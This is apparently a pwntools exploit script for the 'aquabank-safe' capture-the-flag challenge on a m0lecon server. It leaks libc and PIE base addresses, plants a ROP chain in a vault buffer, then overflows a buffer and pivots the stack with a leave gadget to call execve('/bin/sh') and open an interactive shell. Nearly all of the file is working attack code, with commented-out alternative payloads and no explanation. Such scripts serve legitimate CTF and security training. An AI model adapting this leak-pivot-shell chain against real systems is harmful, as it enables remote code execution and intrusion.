#!/usr/bin/env python3

from pwn import *

exe = ELF("./aquabank-safe_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.39.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r)
    else:
        r = remote("offsec.m0lecon.it", 13502)

    return r


def main():
    p = conn()
    # Stage 1 take the libc base address and PIE base address
    print(p.recvuntil(b"> "))
    p.sendline(b"1")
    printf = int(p.recvline().split(b"@")[1].strip(), 16)
    diagnostics = int(p.recvline().split(b"@")[1].strip(), 16)
    libc.address = printf - libc.symbols["printf"]
    base_pie = diagnostics - exe.symbols["diagnostics"]
    print(hex(libc.address))
    print(hex(base_pie))
    #
    # Save ropchain in the buffer
    print(p.recvuntil(b"> "))
    p.sendline(b"2")
    print(p.recvuntil(b"[deposit] Vault deposit size (bytes): "))
    # p.interactive()
    p.sendline(b"16000")
    # p.send(b"\n")
    print(p.recvline())

    BINSH = next(libc.search(b"/bin/sh\x00"))
    ret = base_pie + 0x000000000000101A
    pop_rdi = libc.address + 0x000000000010F78B
    pop_rsi = libc.address + 0x0000000000110A7D
    pop_rax = libc.address + 0x00000000000DD237
    xchg_edx_eax = libc.address + 0x000000000011EA8A
    ret_libc = libc.address + 0x000000000002882F
    rop_chain = flat(
        # p64(ret),
        # b"A" * 16,
        b"A" * 8,
        # p64(0x0),
        p64(ret_libc),
        p64(pop_rax),
        p64(0),
        p64(pop_rdi),
        BINSH,
        p64(pop_rsi),
        p64(0),
        p64(xchg_edx_eax),
        # p64(base_pie + exe.symbols["menu"]),
        # b"A" * 128,
        p64(ret_libc),
        p64(libc.symbols["execve"]),
        # p64(libc.symbols["puts"]),
    )
    p.sendline(rop_chain)
    #
    # BOF and return to vault
    print(p.recvuntil(b"> "))
    p.sendline(b"3")
    print(p.recvline())
    # Move the stack point to vault where the ROP Chain is.
    # pop_rsp = base_pie + 0x000000000003C068
    # leave -> mov rsp, rbp pop rbp ( so we set target - 8 bytes)
    # leave = libc.address + 0x00000000000299D2
    leave = base_pie + 0x0000000000001385
    pop_rsp = libc.address + 0x000000000003C068
    print(f"Vault addr:{hex(base_pie + exe.symbols['vault'])}")
    payload = flat(
        b"A" * 8,
        # p64(leave),
        # p64(base_pie + exe.symbols["vault"]),
        # p64(leave),
        # p64(ret),
        # p64(pop_rsp),
        # b"B" * 8,
        p64(base_pie + exe.symbols["vault"]),
        # p64(base_pie + exe.symbols["vault"]),
        p64(leave),
    )
    print(f"Payload len:{len(payload)}")
    context.terminal = ["alacritty", "-e", "sh", "-c"]
    # gdb.attach(p)
    # pause()
    p.sendline(payload)
    # p.send(b"\n")

    # We switch to the read function in deposit
    """final_p = flat(
        b"A" * 0x4000,
        p64(ret),
        p64(pop_rdi),
        BINSH,
        p64(ret),
        p64(
            libc.symbols["system"],
        ),
    )"""
    # p.send(final_p)
    # print(p.recvuntil(b"[safe] Enter the 24-byte combination:\n"))
    # print(p.recvline())
    # p.interactive()
    # good luck pwning :)
    p.interactive()


if __name__ == "__main__":
    main()